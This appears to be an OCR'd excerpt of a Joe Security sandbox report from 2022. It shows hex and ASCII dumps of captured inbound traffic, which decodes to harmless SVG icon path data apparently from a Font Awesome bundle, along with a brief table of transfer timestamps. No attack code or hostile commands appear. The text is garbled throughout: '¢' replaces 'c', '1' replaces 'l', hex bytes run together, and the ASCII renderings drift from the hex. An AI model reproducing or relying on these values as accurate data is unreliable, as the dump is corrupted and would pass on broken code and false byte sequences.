32 2e 36 34 38 20 35 37 2e 33 37 37 20 32 37 36 2e 31 32 32 20 32 39 2e 30

Data Ascii: 47 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065
76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261I-.001-.002¢-18.366-.011-35.889-10.607-4
3.845-28.464C93.421 342.648 57.377 276.122 29.0

Data Raw: 68 2d 33 32 61 31 36 20 31 36 20 30 20 30 20 31 2d 31 36 2d 31 36 56 34 38 61 31 36 20 31 36 20 30 20 30
203120 31 36 2d 31 36 68 31 36 30 61 31 36 20 31 36 20 30 20 30 20 31 20 31 36 20 31 36 76 33 32 61 31 36 20 31 36
203020 30 20 31 2d 31 36 20 31 36 7a 22 5d 2c 68 65 61 64 70 68 6f 6e 65 73 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2c 2
266 30 3235 22 2c 22 4d 32 35 36 20 33 32 43 31 31 34 2e 35 32 20 33 32 20 30 20 31 34 36 2e 34 39 36 20 30 20 32
3838 76 34 38 61 33 32 20 33 32 20 30 20 30 20 30 20 31 37 2e 36 38 39 20 32 38 2e 36 32 32 6¢ 31 34 2e 33 38 33 20
37 2e 31 39 31 43 33 34 2e 30 38 33 20 34 33 31 2e 39 30 33 20 38 33 2e 34 32 31 20 34 38 30 20 31 34 34 20 34 38 30
68 32 34 63 31 33 2e 32 35 35 20 30 20 32 34 2d 31 30 2e 37 34 35 20 32 34

Data Ascii: h-32a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h160a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16z"],headphones:
[512,512,[],"f025","M256 32C114.52 32 0 146.496 0 288v48a32 32 0 0 0 17.689 28.622114.383 7.191C34.083 431.903
83.421 480 144 480h24¢13.255 0 24-10.745 24

Data Raw: 36 20 32 34 20 33 35 37 2e 30 33 35 20 32 34 20 34 34 38 63 2d 31 33 2e 32 35 35 20 30 2d 32 34 20 31 30
2e 3734 35 2d 32 34 20 32 34 76 31 36 63 30 20 31 33 2e 32 35 35 20 31 30 2e 37 34 35 20 32 34 20 32 34 20 32 34 68
33 33 36 63 31 33 2e 32 35 35 20 30 20 32 34 2d 31 30 2e 37 34 35 20 32 34 2d 32 34 76 2d 31 36 63 30 2d 31 33 2e 32
35 35 2d 31 30 2e 37 34 35 2d 32 34 2d 32 34 2d 32 34 20 30 2d 39 30 2e 39 36 35 2d 35 31 2e 30 31 36 2d 31 36 37 2e
37 33 34 2d 31 32 30 2e 38 34 32 2d 31 39 32 43 33 30 38 2e 39 38 34 20 32 33 31 2e 37 33 34 20 33 36 30 20 31 35 34
2e 39 36 35 20 33 36 30 20 36 34 7a 4d 31 39 32 20 32 30 38 63 2d 35 37 2e 37 38 37 20 30 2d 31 30 34 2d 36 36 2e 35
31 38 2d 31 30 34 2d 31 34 34 68 32 30 38 63 30 20 37 37 2e 39 34 35 2d 34

Data Ascii: 6 24 357.035 24 448¢-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336¢13.255 0 24-10.745 24-
24v-16¢0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192
208c-57.787 0-104-66.518-104-144h208c0 77.945-4

Data Raw: 2e 39 20 33 30 2e 35 32 4¢ 30 20 31 39 36 2e 33 76 32 32 38 2e 33 38 63 30 20 31 35 20 31 30 2e 34 32 20
32 37 2e 39 38 20 32 35 2e 30 36 20 33 31 2e 32 34 6¢ 32 34 32 2e 31 32 20 35 33 2e 38 61 39 35 2e 39 33 37 20 39 35
2e 39 33 37 20 30 20 30 20 30 20 34 31 2e 36 35 20 30 6¢ 32 34 32 2e 31 32 2d 35 33 2e 38 63 31 34 2e 36 34 2d 33 2e
32 35 20 32 35 2e 30 36 2d 31 36 2e 32 34 20 32 35 2e 30 36 2d 33 31 2e 32 34 56 31 39 36 2e 32 39 6¢ 2d 32 37 34 2e
32 2d 38 32 2e 32 36 63 2d 39 2e 30 34 2d 32 2e 37 32 2d 31 38 2e 35 39 2d 32 2e 37 32 2d 32 37 2e 35 39 20 30 7a 4d
31 32 38 20 32 33 30 2e 31 31 63 30 20 33 2e 36 31 2d 32 2e 34 31 20 36 2e 37 37 2d 35 2e 38 39 20 37 2e 37 32 6¢ 2d
38 30 20 32 31 2e 38 32 43 33 37 2e 30 32 20 32 36 31 2e 30 33 20 33 32 20

Data Ascii: .9 30.52L.0 196.3v228.38¢c0 15 10.42 27.98 25.06 31.241242.12 53.8a95.937 95.937 0 0 0 41.65 01242.12-
53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29|-274.2-82.26¢-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41
6.77-5.89 7.721-80 21.82C37.02 261.03 32

Data Raw: 33 39 39 61 32 31 38 2e 33 39 36 20 32 31 38 2e 33 39 36 20 30 20 30 20 31 20 34 35 2e 32 35 35 20 34 35
2e 32 35 35 7a 4d 32 35 36 20 33 35 32 63 2d 35 33 2e 30 31 39 20 30 2d 39 36 2d 34 32 2e 39 38 31 2d 39 36 2d 39 36
73 34 32 2e 39 38 31 2d 39 36 20 39 36 2d 39 36 20 39 36 20 34 32 2e 39 38 31 20 39 36 20 39 36 2d 34 32 2e 39 38 31
20 39 36 2d 39 36 20 39 36 7a 4d 31 32 37 2e 35 35 39 20 38 32 2e 33 30 34 6¢ 36 33 2e 33 39 39 20 36 33 2e 33 39 39
63 2d 31 38 2e 35 35 39 20 31 30 2e 39 38 37 2d 33 34 2e 32 35 32 20 32 36 2e 36 37 2d 34 35 2e 32 35 35 20 34 35 2e
32 35 35 6¢ 2d 36 33 2e 33 39 39 2d 36 33 2e 33 39 39 61 32 31 38 2e 33 37 32 20 32 31 38 2e 33 37 32 20 30 20 30 20
31 20 34 35 2e 32 35 35 2d 34 35 2e 32 35 35 7a 4d 38 32 2e 33 30 34 20 33

Data Ascii: 399a218.396 218.396 0 0 1 45.255 45.255zM256 352¢-53.019 0-96-42.981-96-96542.981-96 96-96 96 42.981
96 96-42.981 96-96 96zM127.559 82.304163.399 63.399¢-18.559 10.987-34.252 26.67-45.255 45.2551-63.399-63.39
9a218.372 218.372 0 0 1 45.255-45.255zM82.304 3

Data Raw: 68 2d 33 32 63 2d 38 2e 38 34 20 30 2d 31 36 20 37 2e 31 36 2d 31 36 20 31 36 76 31 36 48 35 36 63 2d 31
33 2e 32 35 20 30 2d 32 34 20 31 30 2e 37 35 2d 32 34 20 32 34 76 38 30 63 30 20 31 33 2e 32 35 20 31 30 2e 37 35 20
32 34 20 32 34 20 32 34 68 33 38 35 2e 33 37 63 38 2e 34 39 20 30 20 31 36 2e 36 32 2d 33 2e 33 37 20 32 32 2e 36 33
2d 39 2e 33 37 6¢ 34 33 2e 33 31 2d 34 33 2e 33 31 63 36 2e 32 35 2d 36 2e 32 36 20 36 2e 32 35 2d 31 36 2e 33 38 20
30 2d 32 32 2e 36 33 7a 4d 32 32 34 20 34 39 36 63 30 20 38 2e 38 34 20 37 2e 31 36 20 31 36 20 31 36 20 31 36 68 33
32 63 38 2e 38 34 20 30 20 31 36 2d 37 2e 31 36 20 31 36 2d 31 36 56 33 38 34 68 2d 36 34 76 31 31 32 7a 6d 32 33 32
2d 32 37 32 48 32 38 38 76 2d 33 32 68 2d 36 34 76 33 32 48 37 30 2e 36 33

Data Ascii: h-32¢-8.84 0-16 7.16-16 16v16H56¢-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37¢8.49 0 16.62-
3.37 22.63-9.37143.31-43.31¢6.25-6.26 6.25-16.38 0-22.63zM224 4960 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-
16V384h-64v112zm232-272H288v-32h-64v32H70.63
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Data

Data Raw: 32 68 2d 36 34 63 30 2d 33 35 2e 33 35 20 32 38 2e 36 35 2d 36 34 20 36 34 2d 36 34 76 36 34 7a 6d 30 2d
323234 63 2d 33 35 2e 33 35 20 30 2d 36 34 2d 32 38 2e 36 35 2d 36 34 2d 36 34 68 36 34 76 36 34 7a 22 5d 2c 22 6d
6f 6e 65 79 2d 62 69 6¢ 6¢ 2d 77 61 76 65 22 3a 5b 36 34 30 2c 35 31 32 2¢ 5b 5d 2¢ 22 66 35 33 61 22 2¢ 22 4d 36 32 3
1 2e 31 36 20 35 34 2e 34 36 43 35 38 32 2e 33 37 20 33 38 2e 31 39 20 35 34 33 2e 35 35 20 33 32 20 35 30 34 2e 37
3520 33 32 63 2d 31 32 33 2e 31 37 2d 2e 30 31 2d 32 34 36 2e 33 33 20 36 32 2e 33 34 2d 33 36 39 2e 35 20 36 32 2e
33 34 2d 33 30 2e 38 39 20 30 2d 36 31 2e 37 36 2d 33 2e 39 32 2d 39 32 2e 36 35 2d 31 33 2e 37 32 2d 33 2e 34 37 2d
31 2e 31 2d 36 2e 39 35 2d 31 2e 36 32 2d 31 30 2e 33 35 2d 31 2e 36 32 43

Data Ascii: 2h-64c0-35.35 28.65-64 64-64v64zm0-224c¢-35.35 0-64-28.65-64-64h64v642"],"money-bill-wave":[640,512,
[1,"f53a","M621.16 54.46C582.37 38.19 543.55 32 504.75 32¢-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-
92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C

Data Raw: 31 37 2e 37 20 30 2d 33 32 2d 31 34 2e 33 2d 33 32 2d 33 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 20
333220 31 34 2e 33 20 33 32 20 33 32 2d 31 34 2e 33 20 33 32 2d 33 32 20 33 32 7a 6d 33 32 2d 31 32 38 63 2d 31 37
2e 37 20 30 2d 33 32 2d 31 34 2e 33 2d 33 32 2d 33 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 20 33 32 20 31 34 2e
332033322033 32 2d 31 34 2e 33 20 33 32 2d 33 32 20 33 32 7a 6d 31 32 38 2d 36 34 63 2d 31 37 2e 37 20 30 2d 33
32 2d 31 34 2e 33 2d 33 32 2d 33 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 20 33 32 20 31 34 2e 33 20 33 32 20 33
32 2d 31 34 2e 33 20 33 32 2d 33 32 20 33 32 7a 6d 31 32 38 20 36 34 63 2d 31 37 2e 37 20 30 2d 33 32 2d 31 34 2e 33
2d 3332 2d 33 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 20 33 32 20 31

Data Ascii: 17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm32-128¢-17.7 0-32-14.3-32-32514.3-32
32-32 32 14.3 32 32-14.3 32-32 32zm128-64c¢-17.7 0-32-14.3-32-32514.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm128
64c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 1

Data Raw: 37 36 20 34 38 63 30 2d 31 31 2e 32 2d 37 2e 37 2d 32 30 2e 39 2d 31 38 2e 36 2d 32 33 2e 34 6¢ 2d 31 30
34 2d 32 34 63 2d 31 31 2e 33 2d 32 2e 36 2d 32 32 2e 39 20 33 2e 33 2d 32 37 2e 35 20 31 33 2e 39 6¢ 2d 34 38 20 31
31 32 63 2d 34 2e 32 20 39 2e 38 2d 31 2e 34 20 32 31 2e 33 20 36 2e 39 20 32 38 6¢ 36 30 2e 36 20 34 39 2e 36 63 2d
31 32 2e 32 20 32 36 2e 31 2d 32 37 2e 39 20 35 30 2e 33 2d 34 36 20 37 32 2e 38 4c 34 35 2e 35 20 33 2e 34 43 33 38
2e 35 2d 32 20 32 38 2e 35 2d 2e 38 20 32 33 20 36 2e 32 4c 33 2e 34 20 33 31 2e 34 63 2d 35 2e 34 20 37 2d 34 2e 32
20 31 37 20 32 2e 38 20 32 32 2e 34 6¢ 35 38 38 2e 34 20 34 35 34 2e 37 63 37 20 35 2e 34 20 31 37 20 34 2e 32 20 32
32 2e 35 2d 32 2e 38 6¢ 31 39 2e 36 2d 32 35 2e 33 63 35 2e 34 2d 36 2e 38

Data Ascii: 76 48¢c0-11.2-7.7-20.9-18.6-23.41-104-24¢-11.3-2.6-22.9 3.3-27.5 13.91-48 112¢-4.2 9.8-1.4 21.3 6.9 28160.6 4
9.6¢-12.2 26.1-27.9 50.3-46 72.8L.45.5 3.4C38.5-2 28.5-.8 23 6.21.3.4 31.4c-5.4 7-4.2 17 2.8 22.41588.4 454.7¢c7 5.4 17
4.2 22.5-2.8119.6-25.3¢5.4-6.8

Data Raw: 20 36 2e 32 35 20 32 32 2e 36 33 20 30 6¢ 32 32 2e 36 33 2d 32 32 2e 36 33 63 36 2e 32 35 2d 36 2e 32 35
20 36 2e 32 35 2d 31 36 2e 33 38 20 30 2d 32 32 2e 36 33 4c 33 30 31 2e 32 36 20 33 35 32 7a 4d 36 34 20 39 36 68 39
36 63 31 37 2e 36 34 20 30 20 33 32 20 31 34 2e 33 36 20 33 32 20 33 32 73 2d 31 34 2e 33 36 20 33 32 2d 33 32 20 33
324836 3456 39 36 7a 22 5d 2c 22 70 72 65 73 63 72 69 70 74 69 6f 6e 2d 62 6f 74 74 6¢ 65 22 3a 5b 33 38 34 2c 35
3132 2c 5b 5d 2c 22 66 34 38 35 22 2¢ 22 4d 33 32 20 31 39 32 68 31 32 30 63 34 2e 34 20 30 20 38 20 33 2e 36 20 38
20 38 76 31 36 63 30 20 34 2e 34 2d 33 2e 36 20 38 2d 38 20 38 48 33 32 76 36 34 68 31 32 30 63 34 2e 34 20 30 20 38
20 33 2e 36 20 38 20 38 76 31 36 63 30 20 34 2e 34 2d 33 2e 36 20 38 2d 38

Data Ascii: 6.25 22.63 0122.63-22.63¢6.25-6.25 6.25-16.38 0-22.631.301.26 352zM64 96h96c17.64 0 32 14.36 32 32s-
14.36 32-32 32H64V962"],"prescription-bottle":[384,512,[],"f485","M32 192h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H32v64
h120c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8

Data Raw: 36 2e 37 20 33 2e 34 20 31 30 2e 32 7a 4d 36 32 34 20 33 32 30 68 2d 33 32 63 2d 38 2e 38 20 30 2d 31 36
20 37 2e 32 2d 31 36 20 31 36 76 36 34 63 30 20 38 2e 38 2d 37 2e 32 20 31 36 2d 31 36 20 31 36 73 2d 31 36 2d 37 2e
32 2d 31 36 2d 31 36 56 32 38 38 48 30 76 31 37 36 63 30 20 38 2e 38 20 37 2e 32 20 31 36 20 31 36 20 31 36 68 39 36
63 38 2e 38 20 30 20 31 36 2d 37 2e 32 20 31 36 2d 31 36 76 2d 38 30 68 31 39 32 76 38 30 63 30 20 38 2e 38 20 37 2e
3220 31 36 20 31 36 20 31 36 68 39 36 63 38 2e 38 20 30 20 31 36 2d 37 2e 32 20 31 36 2d 31 36 56 33 35 32 68 33 32
76 34 33 2e 33 63 30 20 34 31 2e 38 20 33 30 20 38 30 2e 31 20 37 31 2e 36 20 38 34 2e 33 20 34 37 2e 38 20 34 2e 39
20 38 38 2e 34 2d 33 32 2e 37 20 38 38 2e 34 2d 37 39 2e 36 76 2d 36 34 63

Data Ascii: 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2
16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1
71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64C

Data Raw: 32 32 2e 39 32 20 30 20 32 30 38 2e 30 32 20 30 53 30 20 39 33 2e 30 39 20 30 20 32 30 37 2e 39 38 73 39
33 2e 31 31 20 32 30 37 2e 39 38 20 32 30 38 2e 30 32 20 32 30 37 2e 39 38 63 34 38 2e 33 20 30 20 39 32 2e 37 31 2d
31 36 2e 34 20 31 32 38 2e 30 31 2d 34 34 76 31 36 2e 33 63 30 20 36 2e 34 20 32 2e 35 20 31 32 2e 35 20 37 20 31 37
6¢ 39 39 2e 37 31 20 39 39 2e 36 39 63 39 2e 34 20 39 2e 34 20 32 34 2e 36 20 39 2e 34 20 33 33 2e 39 20 30 6¢ 32 38
2e 33 2d 32 38 2e 33 63 39 2e 34 2d 39 2e 34 20 39 2e 34 2d 32 34 2e 35 39 2e 31 2d 33 33 2e 39 39 7a 6d 2d 32 39 37
2e 30 32 2d 39 30 2e 37 63 2d 37 39 2e 35 34 20 30 2d 31 34 34 2d 36 34 2e 33 34 2d 31 34 34 2d 31 34 33 2e 39 38 20
30 2d 37 39 2e 35 33 20 36 34 2e 33 35 2d 31 34 33 2e 39 38 20 31 34 34 2d

Data Ascii: 22.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5
12.57 17199.71 99.69c9.4 9.4 24.6 9.4 33.9 0128.3-28.3¢9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7¢-79.54 0-144-64.34-
144-143.98 0-79.53 64.35-143.98 144-

Data Raw: 37 2e 31 36 2d 31 36 2d 31 36 2d 31 36 7a 4d 36 30 30 20 30 68 2d 34 38 63 2d 38 2e 38 34 20 30 2d 31 36
20 37 2e 31 36 2d 31 36 20 31 36 76 34 38 30 63 30 20 38 2e 38 34 20 37 2e 31 36 20 31 36 20 31 36 20 31 36 68 34 38
63 38 2e 38 34 20 30 20 31 36 2d 37 2e 31 36 20 31 36 2d 31 36 56 31 36 63 30 2d 38 2e 38 34 2d 37 2e 31 36 2d 31 36
2d 31 36 2d 31 36 7a 22 5d 2¢ 73 69 67 6e 61 74 75 72 65 3a 5b 36 34 30 2c 35 31 32 2¢ 5b 5d 2¢ 22 66 35 62 37 22 2¢
22 4d 36 32 33 2e 32 20 31 39 32 63 2d 35 31 2e 38 20 33 2e 35 2d 31 32 35 2e 37 20 35 34 2e 37 2d 31 36 33 2e 31 20
37 31 2e 35 2d 32 39 2e 31 20 31 33 2e 31 2d 35 34 2e 32 20 32 34 2e 34 2d 37 36 2e 31 20 32 34 2e 34 2d 32 32 2e 36
20 30 2d 32 36 2d 31 36 2e 32 2d 32 31 2e 33 2d 35 31 2e 39 20 31 2e 31 2d

Data Ascii: 7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-
8.84-7.16-16-16-162"],signature:[640,512,[],"f5b7","M623.2 192¢-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1
24.4-22.6 0-26-16.2-21.3-51.9 1.1-

Data Raw: 32 20 31 36 2e 34 20 36 2e 32 20 32 32 2e 36 20 30 6¢ 32 32 2e 36 2d 32 32 2e 36 63 36 2e 32 2d 36 2e 32
20 36 2e 32 2d 31 36 2e 34 20 30 2d 32 32 2e 36 6¢ 2d 33 36 2e 37 2d 33 36 2e 37 7a 4d 31 39 32 20 36 34 68 31 31 37
2e 38 6¢ 36 38 2e 36 20 31 36 30 48 32 35 36 6¢ 2d 36 34 2d 36 34 56 36 34 7a 6d 31 37 36 20 33 38 34 48 31 31 32 63
2d 32 36 2e 35 20 30 2d 34 38 2d 32 31 2e 35 2d 34 38 2d 34 38 73 32 31 2e 35 2d 34 38 20 34 38 2d 34 38 68 32 35 36
63 32 36 2e 35 20 30 20 34 38 20 32 31 2e 35 20 34 38 20 34 38 73 2d 32 31 2e 35 20 34 38 2d 34 38 20 34 38 7a 22 5d
2c 73 6f 61 70 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 39 36 65 22 2c 22 4d 34 31 36 2¢ 31 39 32 61 39 35 2e 34
32 2c¢ 39 35 2e 34 32 2¢ 30 2¢ 30 2¢ 31 2d 33 30 2e 39 34 2¢ 37 30 2e 32 31

Data Ascii: 2 16.4 6.2 22.6 0122.6-22.6¢6.2-6.2 6.2-16.4 0-22.61-36.7-36.7zM192 64h117.8168.6 160H256I-64-64V6
4zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256¢26.5 0 48 21.5 48 48s-21.5 48-48 487"],s0ap:[512,512,[]
,'f96e","M416,192a95.42,95.42,0,0,1-30.94,70.21
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kBytes

Timestamp transferred Direction
2022-05-13 12:56:13 UTC 1994 IN
2022-05-13 12:56:13 UTC 2010 IN
2022-05-13 12:56:13 UTC 2026 IN
2022-05-13 12:56:13 UTC 2042 IN
2022-05-13 12:56:13 UTC 2058 IN
2022-05-13 12:56:13 UTC 2074 IN
2022-05-13 12:56:13 UTC 2090 IN
2022-05-13 12:56:13 UTC 2106 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 2d 37 37 2e 37 32 20 39 2e 31 31 2d 31 37 2e 36 31 20 31 32 2e 39 2d 33 38 2e 33 39 20 39 2e 30 35 2d 36
30 2e 34 32 2d 36 2e 37 37 2d 33 38 2e 37 38 2d 33 38 2e 34 37 2d 37 30 2e 37 2d 37 37 2e 32 36 2d 37 37 2e 34 35 43
32 31 32 2e 36 32 2d 39 2e 30 34 20 31 36 30 20 33 37 2e 33 33 20 31 36 30 20 39 36 63 30 20 31 34 2e 31 36 20 33 2e
313220 32 37 2e 35 34 20 38 2e 36 39 20 33 39 2e 35 38 43 31 38 32 2e 30 32 20 31 36 34 2e 34 33 20 31 39 32 20 31
39 34 2e 37 20 31 39 32 20 32 32 36 2e 34 39 76 2e 30 37 63 30 20 31 36 2e 32 36 2d 31 33 2e 31 38 20 32 39 2e 34 34
2d 32 39 2e 34 34 20 32 39 2e 34 34 48 39 36 63 2d 35 33 2e 30 32 20 30 2d 39 36 20 34 32 2e 39 38 2d 39 36 20 39 36
76 33 32 63 30 20 31 37 2e 36 37 20 31 34 2e 33 33 20 33 32 20 33 32 20 33

Data Ascii: -77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0
14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96¢-53.02 0-96
42.98-96 96v32c0 17.67 14.33 32 32 3

Data Raw: 32 73 31 34 2e 33 2d 33 32 20 33 32 2d 33 32 20 33 32 20 31 34 2e 33 20 33 32 20 33 32 2d 31 34 2e 33 20
33322d 3332203332 7a225d 2c 73 77 61 74 63 68 62 6f 6f 6b 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 35 63
3322 2c 22 4d 34 33 34 2e 36 36 2c 31 36 37 2e 37 31 68 30 4c 33 34 34 2e 35 2¢ 37 37 2e 33 36 61 33 31 2e 38 33 2¢
33 31 2e 38 33 2¢ 30 2c 30 2c 30 2d 34 35 2d 2e 30 37 68 30 6¢ 2d 2e 30 37 2e 30 37 4¢c 32 32 34 2¢ 31 35 32 2e 38 38
56 34 32 34 4c 34 33 34 2e 36 36 2c 32 31 32 2e 39 41 33 32 2¢ 33 32 2¢ 30 2¢ 30 2¢ 30 2¢ 34 33 34 2e 36 36 2c 31 36
37 2e 37 31 5a 4d 34 38 30 2c 33 32 30 48 33 37 33 2e 30 39 4c 31 38 36 2e 36 38 2c 35 30 36 2e 35 31 63 2d 32 2e 30
36 2c 32 2e 30 37 2d 34 2e 35 2c¢ 33 2e 35 38 2d 36 2e 36 38 2c 35 2e 34 39

Data Ascii: 2s14.3-32 32-32 32 14.3 32 32-14.3 32-32 327"],swatchbook:[512,512,[],"f5¢3","M434.66,167.71h0L344
.5,77.36a31.83,31.83,0,0,0-45-.07h0I-.07.07L.224,152.88V4241 434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373
.09L186.68,506.51¢-2.06,2.07-4.5,3.58-6.68,5.49

Data Raw: 2d 32 34 56 35 36 63 30 2d 31 33 2e 32 35 35 2d 31 30 2e 37 34 35 2d 32 34 2d 32 34 2d 32 34 48 33 38 36
2e 36 36 37 63 2d 31 33 2e 32 35 35 20 30 2d 32 34 20 31 30 2e 37 34 35 2d 32 34 20 32 34 7a 6d 2d 33 32 20 38 30 56
3536 63 30 2d 31 33 2e 32 35 35 2d 31 30 2e 37 34 35 2d 32 34 2d 32 34 2d 32 34 48 32 30 35 2e 33 33 33 63 2d 31 33
2e 32 353520 30 2d 32 34 20 31 30 2e 37 34 35 2d 32 34 20 32 34 76 38 30 63 30 20 31 33 2e 32 35 35 20 31 30 2e 37
34 3520 32 3420 32 34 20 32 34 68 31 30 31 2e 33 33 33 63 31 33 2e 32 35 36 20 30 20 32 34 2e 30 30 31 2d 31 30 2e
37 34 35 20 32 34 2e 30 30 31 2d 32 34 7a 6d 2d 32 30 35 2e 33 33 34 20 35 36 48 32 34 63 2d 31 33 2e 32 35 35 20 30
2d 32 34 20 31 30 2e 37 34 35 2d 32 34 20 32 34 76 38 30 63 30 20 31 33 2e

Data Ascii: -24V56¢0-13.255-10.745-24-24-24H386.667¢c-13.255 0-24 10.745-24 24zm-32 80V56¢0-13.255-10.745-24-24-
24H205.333¢-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333¢13.256 0 24.001-10.745 24.001-24zm-2
05.334 56H24¢-13.255 0-24 10.745-24 24v80c0 13.

Data Raw: 2e 36 31 20 31 35 2e 35 37 20 32 33 2e 31 36 20 32 39 2e 35 34 20 32 33 2e 31 36 20 31 34 2e 31 38 20 30
20 32 36 2e 34 38 2d 39 2e 38 33 20 32 39 2e 36 37 2d 32 33 2e 37 6¢ 37 2e 38 2d 33 33 2e 39 3563 31 30 2e 36 31 2d
34 36 2e 31 35 20 31 36 2e 35 33 2d 39 33 2e 31 36 20 32 30 2e 39 34 2d 31 34 30 2e 33 32 20 33 2e 36 31 2d 33 38 2e
37 20 31 32 2e 39 33 2d 37 35 2e 37 38 20 33 36 2e 32 39 2d 31 30 37 2e 33 35 20 32 31 2e 39 35 2d 32 39 2e 36 31 20
33 31 2e 36 36 2d 36 38 2e 38 20 32 31 2e 35 33 2d 31 31 30 2e 34 33 7a 22 5d 2c 74 6f 72 61 68 3a 5b 36 34 30 2c 35
31 32 2c 5b 5d 2¢ 22 66 36 61 30 22 2c 22 4d 33 32 30 2e 30 35 20 33 36 36 2e 34 38 6¢ 31 37 2e 37 32 2d 32 39 2e 36
34 68 2d 33 35 2e 34 36 7a 6d 39 39 2e 32 31 2d 31 36 36 48 33 38 32 2e 34

Data Ascii: .61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.717.8-33.95¢10.61-46.15 16.53-93.16 20.94-140.32
3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z"] torah:[640,512,[],"f6a0","M320.05 366.4
8l17.72-29.64h-35.46zm99.21-166H382.4

Data Raw: 30 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 32 33 32 63 36 2e 36 32 37 20
302031 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 7a 6d 39 36 20 30 76 2d 34 30 63 30 2d 36 2e 36 32 37 2d 35 2e 33 37
33 2d 31 32 2d 31 32 2d 31 32 68 2d 34 30 63 2d 36 2e 36 32 37 20 30 2d 31 32 20 35 2e 33 37 33 2d 31 3220 31 32 76
34 30 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 34 30 63 36 2e 36 32 37 20 30 20 31 32
2d 35 2e 33 37 33 20 31 32 2d 31 32 7a 22 5d 2c 74 76 3a 5b 36 34 30 2c¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 32 36 63 22 2¢ 22
4d 35 39 32 20 30 48 34 38 41 34 38 20 34 38 20 30 20 30 20 30 20 30 20 34 38 76 33 32 30 61 34 38 20 34 38 20 30 20
30 20 30 20 34 38 20 34 38 68 32 34 30 76 33 32 48 31 31 32 61 31 36 20 31

Data Ascii: 0c0 6.627 5.373 12 12 12h232¢6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40¢-6.627 0-12
5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-122"],tv:[640,512,[],"f26¢","M592 0H48A48 48 0 0 0 0
48v320a48 48 0 0 0 48 48h240v32H112a16 1

Data Raw: 36 2d 31 36 2d 31 36 68 2d 33 32 63 2d 38 2e 38 20 30 2d 31 36 20 37 2e 32 2d 31 36 20 31 36 76 36 34 68
2d 36 34 63 2d 38 2e 38 20 30 2d 31 36 20 37 2e 32 2d 31 36 20 31 36 76 33 32 63 30 20 38 2e 38 20 37 2e 32 20 31 36
20 31 36 20 31 36 68 36 34 76 36 34 63 30 20 38 2e 38 20 37 2e 32 20 31 36 20 31 36 20 31 36 68 33 32 63 38 2e 38 20
3020 31 36 2d 37 2e 32 20 31 36 2d 31 36 76 2d 36 34 68 36 34 63 38 2e 38 20 30 20 31 36 2d 37 2e 32 20 31 36 2d 31
36 76 2d 33 32 63 30 2d 38 2e 38 2d 37 2e 32 2d 31 36 2d 31 36 2d 31 36 7a 6d 2d 34 30 30 20 34 38 63 37 30 2e 37 20
30 20 31 32 38 2d 35 37 2e 33 20 31 32 38 2d 31 32 38 53 32 39 34 2e 37 20 30 20 32 32 34 20 30 20 39 36 20 35 37 2e
332039 36 20 31 3238 73 35 37 2e 33 20 31 32 38 20 31 32 38 20 31 32 38

Data Ascii: 6-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16
16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-1285294.7
